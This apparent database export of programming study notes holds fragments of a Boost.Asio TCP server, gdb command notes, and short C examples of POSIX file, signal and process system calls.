std::copy((std::uint8_t const*)buffer, (std::uint8_t const*)buffer + length, std::back_inserter(output)); text txt 2024-07-28 09:57:56.622264 -883 175 send_buffer.push_back(output); text txt 2024-07-28 09:57:56.643115 -884 175 boost::asio::async_write(\n socket,\n boost::asio::buffer(send_buffer.front()),\n std::bind(on_send, boost::asio::placeholders::error, send_buffer.begin())\n );\n} text txt 2024-07-28 09:57:56.664208 -885 175 void on_receive(boost::asio::ip::tcp::socket& socket, std::size_t bytes_transferred)\n{\n receive_buffer_index += bytes_transferred; text txt 2024-07-28 09:57:56.685739 -992 214 struct stat filestat;\nif (stat(filepath, &filestat) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:14.591336 -886 175 for (std::size_t index{}; index < receive_buffer_index; ++index)\n {\n std::cout << (char)receive_buffer[index] << " ";\n }\n std::cout << std::endl;\n receive_buffer_index = 0; text txt 2024-07-28 09:57:56.706771 -887 175 receive(socket);\n} text txt 2024-07-28 09:57:56.727287 -888 175 void receive(boost::asio::ip::tcp::socket& socket)\n{\n socket.async_read_some(\n boost::asio::buffer(\n &receive_buffer[receive_buffer_index],\n receive_buffer.size() - receive_buffer_index\n ),\n std::bind(on_receive, std::ref(socket), 1)\n );\n} text txt 2024-07-28 09:57:56.747909 -889 175 void on_accept(boost::asio::ip::tcp::socket& socket, std::shared_ptr work)\n{\n boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:56.769697 -890 175 send(socket, "payload", 7);\n receive(socket); text txt 2024-07-28 09:57:56.789312 -891 175 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n work.reset();\n} text txt 2024-07-28 09:57:56.80977 -892 175 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n auto work{std::make_shared(context)};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:56.83164 -893 175 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:56.852207 -894 175 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:56.873879 -895 175 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:56.895147 -896 175 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:56.917512 -897 175 acceptor.async_accept(socket, std::bind(on_accept, std::ref(socket), std::move(work))); text txt 2024-07-28 09:57:56.937865 -898 175 worker.join();\n acceptor.close();\n context.stop();\n} code txt 2024-07-28 09:57:56.958952 -899 176 - `start`: starts debugging session by running program line-by-line.\n- `run`: starts debugging session running program as usual. text txt 2024-07-28 09:57:57.161903 -900 177 - `continue`: Will resume the execution of the program until it completes.\n- `step`: Executes program one more step. Step might be one line of source\n code or one machine instruction.\n- `next`: Executes program similar to `step`, but it only continues to the\n next line in the current stack frame and will not step into functions. text txt 2024-07-28 09:57:57.449305 -901 178 `list` displays 10 lines of source code. To see how many lines of source code\nwill be displayed enter `show listsize`. To adjust the lines of source code\ndisplayed enter `set listsize 20`. text txt 2024-07-28 09:57:57.65491 -902 179 break 50`\nbreak *main\nbreak *main+50\nbreak source.cpp:main+50 code txt 2024-07-28 09:57:57.954518 -903 180 `delete 1` text txt 2024-07-28 09:57:58.156083 -904 181 `print ` text txt 2024-07-28 09:57:58.342796 -905 182 `set var random_number = 5` text txt 2024-07-28 09:57:58.54653 -906 183 `whatis random_number` text txt 2024-07-28 09:57:58.732603 -907 184 `shell pwd` text txt 2024-07-28 09:57:58.954757 -908 186 #include \n#include \n#include text txt 2024-07-28 09:57:59.877582 -909 186 void* handler(void*); text txt 2024-07-28 09:57:59.898533 -910 186 int main(void)\n{\npthread_t thread; text txt 2024-07-28 09:57:59.920502 -911 186 if (pthread_create(&thread, NULL, handler, NULL))\nreturn(errno); text txt 2024-07-28 09:57:59.94052 -912 186 if (pthread_join(thread, NULL))\nreturn(errno);\n} text txt 2024-07-28 09:57:59.960917 -913 186 void* handler(void* arg)\n{\n(void)arg;\nprintf("working thread\\\\n");\nreturn NULL;\n} code txt 2024-07-28 09:57:59.981269 -914 193 man 1 man code txt 2024-07-28 09:58:01.402705 -915 194 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 201712L\n#endif text txt 2024-07-28 09:58:02.266136 -916 194 #include \n#include \n#include text txt 2024-07-28 09:58:02.287403 -917 194 int print_user_value(char const* str); text txt 2024-07-28 09:58:02.308194 -918 194 int main(int argc, char **argv)\n{\nint result = -1; text txt 2024-07-28 09:58:02.329174 -919 194 if (argc == 1)\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nelse\nresult = print_user_value(argv[1]); text txt 2024-07-28 09:58:02.351411 -920 194 return result;\n} text txt 2024-07-28 09:58:02.37198 -921 194 int print_user_value(char const* str)\n{\nerrno = 0;\nlong double input = strtold(str, NULL); text txt 2024-07-28 09:58:02.392397 -922 194 if (errno)\nfprintf(stderr, "cannot convert %s to long double\\\\n", str);\nelse\nfprintf(stdout, "%.2Lf\\\\n", input); text txt 2024-07-28 09:58:02.412095 -923 194 return errno;\n} code txt 2024-07-28 09:58:02.431882 -924 195 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 201108L\n#endif text txt 2024-07-28 09:58:03.41944 -925 195 #ifndef _GNU_SOURCE\n#define _GNU_SOURCE 5000L\n#endif text txt 2024-07-28 09:58:03.441551 -926 195 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:03.462306 -927 195 int main(int argc, char **argv)\n{\nint option = 0; text txt 2024-07-28 09:58:03.484161 -928 195 struct option longopts[] = {\n{"help", no_argument, NULL, 'h'},\n{"value", required_argument, NULL, 'a'}\n}; text txt 2024-07-28 09:58:03.504237 -929 195 while ((option = getopt_long(argc, argv, "hv:", longopts, NULL)) != -1)\n{\nswitch (option)\n{\ncase 'h':\nfprintf(stdout, "usage: %s [-h] [-v ]\\\\n", argv[0]);\nbreak;\ncase 'v':\nfprintf(stdout, "value: %s\\\\n", optarg);\nbreak;\ncase '?':\nfprintf(stderr, "invalid argument\\\\n");\nbreak;\ndefault:\nfprintf(stderr, "usage: %s [-h] [-v ]\\\\n", argv[0]);\n}\n}\n} code txt 2024-07-28 09:58:03.526155 -930 196 #include text txt 2024-07-28 09:58:03.875682 -931 196 int main(int argc, char **argv)\n{\nif (argc > 1)\nexit(1); text txt 2024-07-28 09:58:03.896651 -932 196 return 0;\n} code txt 2024-07-28 09:58:03.917098 -933 197 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 202207L\n#endif text txt 2024-07-28 09:58:04.335128 -934 197 #include text txt 2024-07-28 09:58:04.355432 -935 197 int main(void)\n{\nfprintf(stdout, "standard output\\\\n");\nfprintf(stderr, "standard error\\\\n");\ndprintf(1, "standard output\\\\n");\ndprintf(2, "standard error\\\\n");\n} code txt 2024-07-28 09:58:04.376538 -936 198 #include \n#include \n#include text txt 2024-07-28 09:58:05.114484 -937 198 #define INPUT_MAX 20 text txt 2024-07-28 09:58:05.134359 -938 198 int main(void)\n{\nchar origin[INPUT_MAX] = {0};\nchar inverted[INPUT_MAX] = {0}; text txt 2024-07-28 09:58:05.155563 -1172 242 return errno;\n} code txt 2024-07-28 09:58:40.8668 -939 198 while (fgets(origin, INPUT_MAX, stdin))\n{\nfor (int index = 0; index < sizeof(origin); ++index)\n{\nif (origin[index] >= 'a' && origin[index] <= 'z')\ninverted[index] = origin[index] - 32;\nelse if (origin[index] >= 'A' && origin[index] <= 'Z')\ninverted[index] = origin[index] + 32;\nelse\ninverted[index] = origin[index];\n} text txt 2024-07-28 09:58:05.17764 -940 198 fprintf(stdout, "%s\\\\n", inverted);\nmemset(&inverted, 0, sizeof(inverted));\nmemset(&origin, 0, sizeof(origin));\n}\n} code txt 2024-07-28 09:58:05.198475 -941 199 #include \n#include \n#include text txt 2024-07-28 09:58:05.719058 -942 199 #define INPUT_MAX 20 text txt 2024-07-28 09:58:05.740163 -943 199 int main(void)\n{\nchar input[INPUT_MAX] = {0}; text txt 2024-07-28 09:58:05.761411 -944 199 if (fgets(input, sizeof(input), stdin) == NULL)\nfprintf(stderr, "invalid input\\\\n"); text txt 2024-07-28 09:58:05.781601 -945 199 if (strspn(input, "0123456789\\\\n") == strlen(input))\nprintf("valid\\\\n");\nelse\nprintf("invalid\\\\n");\n} code txt 2024-07-28 09:58:05.801862 -946 200 #include \n#include \n#include text txt 2024-07-28 09:58:06.31497 -947 200 #define GRN_COLOR "\\\\033[1;31m"\n#define RST_COLOR "\\\\033[0m" text txt 2024-07-28 09:58:06.335712 -948 200 int main(void)\n{\nchar const *term = getenv("TERM"); text txt 2024-07-28 09:58:06.356587 -949 200 if (strlen(term) && strstr(term, "256color"))\nprintf(GRN_COLOR "color supported\\\\n" RST_COLOR);\nelse\nprintf("color not supported\\\\n");\n} code txt 2024-07-28 09:58:06.378187 -950 201 gcc -Wall -Wextra -pedantic -fPIC -c source.c\ngcc -shared -Wl,-soname,libsource.so -o libsource.so source.o code txt 2024-07-28 09:58:06.621953 -951 202 #include text txt 2024-07-28 09:58:06.889568 -952 202 int main(void)\n{\nwrite(1, "system call\\\\n", 13);\n} code txt 2024-07-28 09:58:06.909804 -953 203 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:07.625938 -954 203 int main(void)\n{\nprintf("%-20s %s\\\\n", "Current Directory:", getcwd(NULL, PATH_MAX));\nprintf("%-20s %d\\\\n", "User ID:", getuid());\nprintf("%-20s %d\\\\n", "Effective User ID:", geteuid());\nprintf("%-20s %d\\\\n", "Process ID:", getpid());\nprintf("%-20s %d\\\\n", "Parent Process ID:", getppid()); text txt 2024-07-28 09:58:07.646257 -955 203 struct sysinfo info;\nif (sysinfo(&info) == -1)\n{\nperror("failed to retrieve system information");\nreturn errno;\n} text txt 2024-07-28 09:58:07.66759 -956 203 printf("%-20s %ld\\\\n", "Uptime:", info.uptime);\nprintf("%-20s %ld\\\\n", "Total Ram in Use:", info.totalram);\nprintf("%-20s %ld\\\\n", "Free Ram:", info.freeram);\nprintf("%-20s %d\\\\n", "Number of Processes:", info.procs);\nprintf("%-20s %ld\\\\n", "Total Swap:", info.totalswap);\n} code txt 2024-07-28 09:58:07.689505 -957 206 gcc -P -E # stop at preprocessing stage\ngcc -S # stop at assembly stage\ngcc -c # stop at object file stage\ngcc -o # create an executable code txt 2024-07-28 09:58:08.22913 -958 208 #include \n#include \n#include text txt 2024-07-28 09:58:08.788659 -959 208 int main(void)\n{\nlong int number = strtol("1234", NULL, 10); text txt 2024-07-28 09:58:08.80943 -960 208 if (errno)\nperror("cannot convert to long int");\nelse\nprintf("%ld\\\\n", number); text txt 2024-07-28 09:58:08.83044 -961 208 return errno;\n} code txt 2024-07-28 09:58:08.850545 -962 209 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:09.808446 -963 209 int main(int argc, char **argv)\n{\nint fd = 0;\nchar filepath[PATH_MAX] = {0}; text txt 2024-07-28 09:58:09.829071 -964 209 if (argc != 2)\n{\nprintf("usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:09.849933 -965 209 strncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:09.869861 -966 209 if ((fd = creat(filepath, S_IRUSR | S_IWUSR)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:09.890601 -967 209 if (write(fd, "another sample\\\\n", 16) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:09.911261 -968 209 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:09.931681 -969 210 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:10.782646 -970 210 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:10.804379 -971 210 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:10.825336 -972 210 struct stat filestat;\nif (stat(filepath, &filestat) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:10.846702 -973 210 printf("Name: %s\\\\n", filepath);\nprintf("Device: %lu\\\\n", filestat.st_dev);\nprintf("Mode: %o\\\\n", filestat.st_mode);\nprintf("Inode: %lu\\\\n", filestat.st_ino);\nprintf("Size: %zd\\\\n", filestat.st_size);\nprintf("Links: %lu\\\\n", filestat.st_nlink);\n} code txt 2024-07-28 09:58:10.86877 -974 211 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:11.80019 -975 211 int main(int argc, char **argv)\n{\nif (argc != 4)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:11.820485 -976 211 char realpath[PATH_MAX] = {0};\nstrncpy(realpath, argv[1], sizeof(realpath)); text txt 2024-07-28 09:58:11.841507 -977 211 char hardlinkpath[PATH_MAX] = {0};\nstrncpy(hardlinkpath, argv[2], sizeof(hardlinkpath)); text txt 2024-07-28 09:58:11.862598 -978 211 char symlinkpath[PATH_MAX] = {0};\nstrncpy(symlinkpath, argv[3], sizeof(symlinkpath)); text txt 2024-07-28 09:58:11.882314 -979 211 if (link(realpath, hardlinkpath) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:11.903276 -980 211 if (symlink(realpath, symlinkpath) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:11.925301 -981 212 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:12.595718 -982 212 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:12.617098 -983 212 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:12.638131 -984 212 if (utime(filepath, NULL))\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:12.658763 -985 213 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:13.328012 -986 213 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:13.348889 -987 213 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:13.36994 -988 213 if (unlink(filepath) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:13.390129 -989 214 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:14.529172 -990 214 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:14.549927 -993 214 printf("Name: %s\\\\n", filepath);\nprintf("Device: %lu\\\\n", filestat.st_dev);\nprintf("Mode: %o\\\\n", filestat.st_mode);\nprintf("Inode: %lu\\\\n", filestat.st_ino);\nprintf("Size: %zd\\\\n", filestat.st_size);\nprintf("Links: %lu\\\\n", filestat.st_nlink); text txt 2024-07-28 09:58:14.613737 -994 214 struct passwd *userinfo; text txt 2024-07-28 09:58:14.634242 -995 214 if ((userinfo = getpwuid(filestat.st_uid)) == NULL)\nperror(NULL);\nelse\nprintf("User: %u (%s)\\\\n", userinfo->pw_uid, userinfo->pw_name); text txt 2024-07-28 09:58:14.655819 -996 214 struct group *groupinfo; text txt 2024-07-28 09:58:14.677305 -997 214 if ((groupinfo = getgrgid(filestat.st_gid)) == NULL)\nperror(NULL);\nelse\nprintf("Group: %u (%s)\\\\n", groupinfo->gr_gid, groupinfo->gr_name);\n} code txt 2024-07-28 09:58:14.698487 -998 215 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:15.600358 -999 215 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:15.621006 -1000 215 mode_t mode = 0; text txt 2024-07-28 09:58:15.640082 -1001 215 mode = strtol(argv[1], NULL, 8);\nif (errno)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:15.66063 -1002 215 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[2], sizeof(filepath)); text txt 2024-07-28 09:58:15.681585 -1003 215 if (chmod(filepath, mode) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:15.701202 -1004 216 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:16.939874 -1005 216 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:16.960915 -1006 216 char *owner = strtok(argv[1], ":");\nchar *group = strtok(NULL, ":"); text txt 2024-07-28 09:58:16.981333 -1007 216 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[2], sizeof(filepath)); text txt 2024-07-28 09:58:17.002075 -1008 216 struct passwd *userinfo;\nstruct group *groupinfo; text txt 2024-07-28 09:58:17.022026 -1009 216 if ((userinfo = getpwnam(owner)) == NULL)\n{\nif (errno == 0)\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", "owner not found");\nelse\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno));\nreturn errno;\n} text txt 2024-07-28 09:58:17.042826 -1010 216 if ((groupinfo = getgrnam(group)) == NULL)\n{\nif (errno == 0)\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", "group not found");\nelse\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno)); text txt 2024-07-28 09:58:17.063237 -1011 216 return errno;\n} text txt 2024-07-28 09:58:17.08362 -1012 216 if (chown(filepath, userinfo->pw_uid, groupinfo->gr_gid) == -1)\n{\nperror(NULL);\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno));\nreturn errno;\n}\n} code txt 2024-07-28 09:58:17.105289 -1013 217 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:18.192421 -1014 217 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:18.21291 -1015 217 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:18.233847 -1016 217 int fd = 0; text txt 2024-07-28 09:58:18.255187 -1017 217 if ((fd = open(filepath, O_CREAT|O_RDWR|O_TRUNC, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:18.275107 -1018 217 time_t const epoch = time(NULL);\nchar const *now = ctime(&epoch); text txt 2024-07-28 09:58:18.294742 -1019 217 if (write(fd, now, strlen(now)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:18.314807 -1020 217 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:18.334688 -1021 218 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:19.294688 -1022 218 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:19.316059 -1023 218 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:19.336625 -1024 218 int fd = 0;\nif ((fd = open(filepath, O_RDONLY)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:19.356499 -1025 218 char buffer[100] = {0};\nif (read(fd, buffer, sizeof(buffer)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:19.37642 -1026 218 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:19.396309 -1027 218 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:19.416635 -1028 219 #include \n#include \n#include text txt 2024-07-28 09:58:20.342799 -1029 219 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:20.363398 -1030 219 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:20.383763 -1031 219 FILE *fp = NULL;\nif ((fp = fopen(filepath, "w")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:20.405478 -1032 219 char buffer[100] = {0}; text txt 2024-07-28 09:58:20.425063 -1033 219 while (fgets(buffer, sizeof(buffer), stdin))\n{\nfprintf(fp, "%s\\\\n", buffer);\n} text txt 2024-07-28 09:58:20.445605 -1034 219 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 3;\n}\n} code txt 2024-07-28 09:58:20.466305 -1035 220 #include \n#include \n#include text txt 2024-07-28 09:58:21.646509 -1036 220 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:21.666895 -1037 220 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:21.687686 -1038 220 FILE *fp = NULL;\nif ((fp = fopen(filepath, "rwb")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:21.707521 -1039 220 double numbers[3] = {1.1, 2.2, 3.3}; text txt 2024-07-28 09:58:21.727503 -1040 220 if (fwrite(&numbers, sizeof(double), sizeof(numbers)/sizeof(double), fp) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:21.748998 -1041 220 printf("wrote %.1f %.1f %.1f numbers\\\\n", numbers[0], numbers[1], numbers[2]); text txt 2024-07-28 09:58:21.770675 -1042 220 double buffer[3] = {0}; text txt 2024-07-28 09:58:21.79074 -1043 220 if (fread(&buffer, sizeof(double), sizeof(buffer)/sizeof(double), fp) == -1)\n{\nperror(NULL);\nreturn 4;\n} text txt 2024-07-28 09:58:21.811142 -1044 220 printf("read %.1f %.1f %.1f numbers\\\\n", buffer[0], buffer[1], buffer[2]); text txt 2024-07-28 09:58:21.831236 -1045 220 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:21.851533 -1046 221 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:23.009711 -1047 221 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:23.030102 -1048 221 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:23.050729 -1049 221 off_t offset = strtol(argv[2], NULL, 10); text txt 2024-07-28 09:58:23.071207 -1050 221 int fd = 0;\nif ((fd = open(filepath, O_RDONLY)) == 0)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:23.091655 -1051 221 if (lseek(fd, offset, SEEK_SET) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:23.112817 -1052 221 char buffer[10000] = {0};\nif (read(fd, buffer, sizeof(buffer)) == -1)\n{\nperror(NULL);\nreturn 4;\n} text txt 2024-07-28 09:58:23.133454 -1053 221 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:23.155866 -1054 221 if (close(fd) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:23.178181 -1055 222 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:24.258398 -1056 222 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:24.278929 -1057 222 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:24.301729 -1058 222 off_t offset = strtol(argv[2], NULL, 10); text txt 2024-07-28 09:58:24.322278 -1059 222 FILE *fp = NULL;\nif ((fp = fopen(filepath, "r")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:24.342955 -1060 222 if (fseek(fp, offset, SEEK_SET) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:24.362487 -1061 222 char buffer[1000] = {0};\nwhile (fgets(buffer, sizeof(buffer), fp) != NULL)\n{\nprintf("%s", buffer);\n}\nprintf("\\\\n"); text txt 2024-07-28 09:58:24.383123 -1062 222 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:24.403066 -1063 223 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 11082022L\n#endif text txt 2024-07-28 09:58:25.297944 -1064 223 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:25.319224 -1065 223 void signal_handler(int); text txt 2024-07-28 09:58:25.339292 -1066 223 int main(void)\n{\nstruct sigaction action; text txt 2024-07-28 09:58:25.359988 -1067 223 action.sa_flags = SA_RESTART;\naction.sa_handler = signal_handler;\nsigfillset(&action.sa_mask); text txt 2024-07-28 09:58:25.381399 -1068 223 sigaction(SIGHUP, &action, NULL);\nsigaction(SIGINT, &action, NULL); text txt 2024-07-28 09:58:25.401616 -1069 223 for (;;)\nsleep(10);\n} text txt 2024-07-28 09:58:25.422177 -1070 223 void signal_handler(int signal)\n{\nprintf("\\\\nprocess killed by signal %d\\\\n", signal);\nexit(signal);\n} code txt 2024-07-28 09:58:25.44322 -1071 224 #include \n#include \n#include text txt 2024-07-28 09:58:26.245449 -1072 224 int main(void)\n{\nsigset_t signals;\nsigset_t old_signals; text txt 2024-07-28 09:58:26.266884 -1073 224 if (sigemptyset(&signals) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:26.288421 -1074 224 if (sigaddset(&signals, SIGHUP) == -1)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:26.310353 -1075 224 if (sigprocmask(SIG_BLOCK, &signals, &old_signals) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:26.332321 -1076 224 sleep(10); text txt 2024-07-28 09:58:26.351942 -1077 224 sigprocmask(SIG_UNBLOCK, &signals, &old_signals);\n} code txt 2024-07-28 09:58:26.373343 -1078 225 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:27.310546 -1079 225 int main(void)\n{\npid_t child;\nint status; text txt 2024-07-28 09:58:27.332092 -1080 225 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:27.353452 -1081 225 if (child == 0)\n{\nprintf("child: %d\\\\n", getpid()); text txt 2024-07-28 09:58:27.37512 -1082 225 if (execl("/usr/bin/ps", "ps", "-f", "--forest", (char*)NULL) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n}\nelse\n{\nprintf("parent: %d\\\\n", getpid());\nwaitpid(child, &status, 0);\nprintf("return: %d\\\\n", status);\n}\n} code txt 2024-07-28 09:58:27.396808 -1083 226 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:28.213102 -1084 226 int main(void)\n{\npid_t child_pid;\nint seconds = 20; text txt 2024-07-28 09:58:28.233746 -1085 226 printf("parent: %d\\\\n", getpid()); text txt 2024-07-28 09:58:28.254485 -1086 226 if ((child_pid = fork()) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:28.274792 -1087 226 if (child_pid == 0)\n{\nprintf("child: %d\\\\n", getpid());\nexit(0);\n}\nelse\n{\nprintf("parent waiting for %ds\\\\n", seconds);\nsleep(seconds);\n}\n} code txt 2024-07-28 09:58:28.298047 -1088 227 #include \n#include \n#include text txt 2024-07-28 09:58:28.970977 -1089 227 int main(void)\n{\npid_t child;\nint seconds = 20; text txt 2024-07-28 09:58:28.992305 -1090 227 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:29.012652 -1091 227 if (child == 0)\n{\nprintf("child: %d\\\\n", getpid());\nsleep(seconds);\n}\nelse\n{\nprintf("parent: %d\\\\n", getpid());\n}\n} code txt 2024-07-28 09:58:29.033738 -1092 228 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:29.983224 -1093 228 int main(void)\n{\npid_t child = 0;\nint status = 0; text txt 2024-07-28 09:58:30.005258 -1094 228 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:30.026874 -1095 228 if (child == 0)\n{\nif (execl("/usr/bin/ping", "ping", 